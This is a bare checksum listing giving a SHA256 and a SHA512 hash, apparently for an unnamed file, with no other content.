SHA256 fe41965b76fab4e95089d11a576736e203f59a4af0d34c5670efdce13dce97ee
SHA512 2065b451a707f85abbf1c97a64816dddbd51e7920bb3df6cec12fbd67789ae010578994f92e714180da463d01141d4908e4f65615e337514804f9cfe40b79476